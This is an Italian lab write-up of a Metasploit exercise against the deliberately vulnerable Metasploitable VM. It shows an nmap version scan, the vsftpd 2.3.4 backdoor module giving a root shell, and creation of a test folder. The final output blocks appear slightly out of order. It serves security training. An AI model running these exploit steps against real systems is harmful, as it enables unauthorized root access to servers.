Metasploit

Richiesta: Completare una sessione di hacking sulla macchina Metasploitable, sfruttando il servizio vsftpd. Una volta ottenuta la sessione, creare una cartella nella directory di root “**test_metasploit**”.

Exploit

Un exploit rappresenta un attacco che sfrutta vulnerabilità presenti in applicazioni, reti o hardware. È formato tipicamente da un software o un codice.

Metasploit

Il programma Metasploit è un potente strumento open-source, utilizzato per lo sviluppo e l’esecuzione di exploit contro un target remoto.

Effettuiamo un esempio pratico per vederlo in azione.
Target: Metasploitable
Servizio: FTP

1°Step: Identificazione versione FTP

```
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV 192.168.1.60
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-22 08:52 EST
Nmap scan report for 192.168.1.60
Host is up (0.00019s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```

Servendoci di Nmap riusciamo a intercettare la versione del servizio <vsftpd 2.3.4>

2°Step: Cerchiamo la versione su Metasploit

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.
2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3
.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp
/vsftpd_234_backdoor

msf6 >
```

3°Step: Dopo aver impostato l'ip dell'host target attraverso il comando "set rhosts", stabiliamo una connessione attraverso la vulnerabilità presente nel servizio, la backdoor in questo caso.

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.60:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.60:21 - USER: 331 Please specify the password.
[+] 192.168.1.60:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.60:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.74:42017 → 192.168.1.60:6200) at 2024-01-22
 09:01:04 -0500
```

4°Step: Adesso ci troviamo esattamente all'interno della macchina Metasploitable. Facciamo un check attraverso ifconfig per sicurezza:

```
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.74:43771 → 192.168.1.60:6200) at 2024-0
 10:34:48 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4b:d6:d8
          inet addr:192.168.1.60  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2001:b07:6473:f0f0:a00:27ff:fe4b:d6d8/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe4b:d6d8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:75 errors:0 dropped:0 overruns:0 frame:0
          TX packets:97 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6916 (6.7 KB)  TX bytes:9004 (8.7 KB)
          Base address:0xd240 Memory:f0820000-f0840000
```

5°Step: Creiamo la cartella "**test_metasploit**" come richiesto.

```
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin     dev     initrd.img  mnt         root  test_metasploit  vmlinuz
boot    etc     lib         nohup.out   sbin  tmp
cdrom   home    lost+found  opt         srv   usr
CR#n?}  initrd  media       proc        sys   var
msfadmin@metasploitable:/$
```

CTRL (DESTRA)

```
bash: line 1: msfadmin: command not found
cd /
mkdir test_metasploit
```

L'exploit ha avuto successo.